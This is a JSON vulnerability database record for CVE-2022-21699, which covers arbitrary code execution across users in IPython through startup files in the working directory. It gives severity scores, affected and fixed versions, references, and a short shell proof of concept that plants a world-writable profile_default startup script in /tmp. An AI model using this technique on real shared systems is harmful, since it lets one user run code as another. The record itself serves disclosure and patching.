{"id":"CVE-2022-21699","aliases":["CVE-2022-21699","GHSA-pq7m-3gw7-gq5x","PYSEC-2022-12"],"related":[],"kind":"vulnerability","state":"published","title":"Execution with Unnecessary Privileges in ipython","summary":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.","source":"cvelist"},{"lang":"en","text":"We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.\n \nProof of concept\n\nUser1:\n```\nmkdir -m 777 /tmp/profile_default\nmkdir -m 777 /tmp/profile_default/startup\necho 'print(\"stealing your private secrets\")' > /tmp/profile_default/startup/foo.py\n```\n\nUser2:\n```\ncd /tmp\nipython\n```\n\n \n\nUser2 will see:\n```\nPython 3.9.7 (default, Oct 25 2021, 01:04:21)\nType 'copyright', 'credits' or 'license' for more information\nIPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.\nstealing your private secrets\n```\n\n\n## Patched release and documentation\n\nSee https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, \n\nVersion 8.0.1, 7.31.1 for current Python version are recommended. \nVersion 7.16.3 has also been published for Python 3.6 users, \nVersion 5.11 (source only, 5.x branch on github) for older Python versions.","format":"markdown","source":"ghsa"},{"lang":"es","text":"IPython (Interactive Python) es un shell de comandos para la computación interactiva en múltiples lenguajes de programación, desarrollado originalmente para el lenguaje de programación Python. Las versiones afectadas están sujetas a una vulnerabilidad de ejecución de código arbitrario conseguida al no administrar apropiadamente los archivos temporales de los usuarios. Esta vulnerabilidad permite a un usuario ejecutar código como otro en la misma máquina. Se recomienda a todos los usuarios que actualicen","source":"nvd"}],"published":"2022-01-19T21:15:11.000Z","modified":"2026-09-10T03:49:11.109Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:L/AC:L/Au:N/C:P/I:P/A:P","score":4.6,"rating":"MEDIUM"}],"cwes":["CWE-250","CWE-269","CWE-279"],"affected":[{"ranges":[{"version":"< 5.11","status":"affected"},{"version":">= 6.0.0, < 7.16.3","status":"affected"},{"version":">= 7.17.0, < 7.31.1","status":"affected"},{"version":">= 8.0.0, < 8.0.1","status":"affected"}],"vendor":"ipython","product":"ipython","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.11"}],"ecosystem":"PyPI","package":"ipython","purl":"pkg:pypi/ipython","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"6.0.0","status":"affected","fixed":"7.16.3"}],"ecosystem":"PyPI","package":"ipython","purl":"pkg:pypi/ipython","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"7.17.0","status":"affected","fixed":"7.31.1"}],"ecosystem":"PyPI","package":"ipython","purl":"pkg:pypi/ipython","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"8.0.0","status":"affected","fixed":"8.0.1"}],"ecosystem":"PyPI","package":"ipython","purl":"pkg:pypi/ipython","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"5.10.0"},{"status":"affected","introduced":"6.0.0","fixed":"7.16.3"},{"status":"affected","introduced":"7.17.0","fixed":"7.31.1"},{"status":"affected","introduced":"8.0.0","fixed":"8.0.1"}],"vendor":"ipython","product":"ipython","cpe":"cpe:2.3:a:ipython:ipython:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"9.0"},{"status":"affected","version":"10.0"},{"status":"affected","version":"11.0"}],"vendor":"debian","product":"debian_linux","cpe":"cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"34"},{"status":"affected","version":"35"}],"vendor":"fedoraproject","product":"fedora","cpe":"cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"46a51ed69cdf41b4333943d9ceeb945c4ede5668"},{"type":"ecosystem","introduced":"0","status":"affected","fixed":"6.0.0rc1"},{"type":"ecosystem","introduced":"6.0.0","status":"affected","fixed":"7.16.3"},{"type":"ecosystem","introduced":"7.17.0","status":"affected","fixed":"7.31.1"},{"type":"ecosystem","introduced":"8.0.0","status":"affected","fixed":"8.0.1"}],"ecosystem":"PyPI","package":"ipython","purl":"pkg:pypi/ipython","repo":"https://github.com/ipython/ipython","source":"pysec"}],"references":[{"url":"https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x","tags":["advisory","exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668","tags":["fix","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699","tags":["release-notes","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html","tags":["mailing-list","third-party-advisory","web","x-refsource-mlist","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB/","tags":["vendor-advisory","x-refsource-fedora","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK/","tags":["vendor-advisory","x-refsource-fedora","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21699","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ipython/ipython","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB","tags":["web"],"sources":["ghsa"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2025-04-22T15:45:17.424Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-21699","url":"https://www.cve.org/CVERecord?id=CVE-2022-21699","licence":"CVE Terms of Use","modified":"2025-04-22T18:33:01.284Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pq7m-3gw7-gq5x","url":"https://github.com/advisories/GHSA-pq7m-3gw7-gq5x","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:11.109Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-21699","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21699","licence":"Public domain","modified":"2026-06-17T04:26:47.400Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2022-12","url":"https://osv.dev/vulnerability/PYSEC-2022-12","licence":"CC-BY-4.0","modified":"2023-11-08T04:08:08.617Z"}],"updatedAt":"2026-11-25T22:58:09.375Z","epss":{"score":0.0069,"percentile":0.54053,"date":"2026-12-01T12:00:22.000Z"}}